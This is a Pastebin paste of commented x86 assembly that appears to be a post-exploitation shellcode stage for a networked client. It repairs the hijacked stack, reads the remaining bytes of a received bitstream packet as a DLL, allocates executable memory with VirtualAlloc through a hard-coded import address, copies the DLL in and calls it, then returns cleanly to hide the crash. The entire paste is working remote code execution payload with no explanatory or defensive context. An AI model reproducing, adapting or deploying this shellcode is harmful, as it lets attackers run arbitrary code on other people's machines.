Advertisement
Hidend

Untitled

Apr 22nd, 2024
586
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;# repair stack
  2. lea esp, [ebp-0x128]
  3.  
  4. ;# get bitstream
  5. mov eax, [ebp+0x3c]             ;# caption
  6. sub eax, 0x118                  ;# bitstream
  7. mov ecx, [eax]                  ;# numberOfBitsUsed
  8. mov edx, [eax+0x8]              ;# readOffset
  9. mov esi, [eax+0xC]              ;# data ptr
  10. add ecx, 7                      ;# numberOfBitsUsed bits to bytes
  11. shr ecx, 3      
  12. add edx, 7                      ;# readOffset bits to bytes
  13. shr edx, 3      
  14. sub ecx, edx                    ;# numberOfBitsUsed - readOffset = dll size
  15. add esi, edx                    ;# data ptr         + readOffset = dll ptr
  16.  
  17. cmp ecx, 0
  18. je epilogue
  19.  
  20. ;# call VirtualAlloc
  21. push ecx                        ;# save ecx
  22. push 0x40                       ;# flProtect = PAGE_EXECUTE_READWRITE
  23. push 0x3000                     ;# flAllocationType = MEM_COMMIT | MEM_RESERVE
  24. push ecx                        ;# dwSize = dll size
  25. push 0                          ;# lpAddress = 0
  26. mov eax, dword ptr [0x008581A4] ;# get VirtualAlloc
  27. call eax                        ;# call VirtualAlloc
  28. mov edi, eax
  29. pop ecx                         ;# restore ecx
  30.  
  31. ;# copy dll
  32. rep movsb
  33.  
  34. ;# execute dll
  35. call eax
  36. jmp epilogue
  37.  
  38. ;# epilogue
  39. epilogue:
  40. pop edi
  41. pop esi
  42. mov eax, 1
  43. pop ebx
  44. mov esp, ebp
  45. pop ebp
  46. ret 8
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement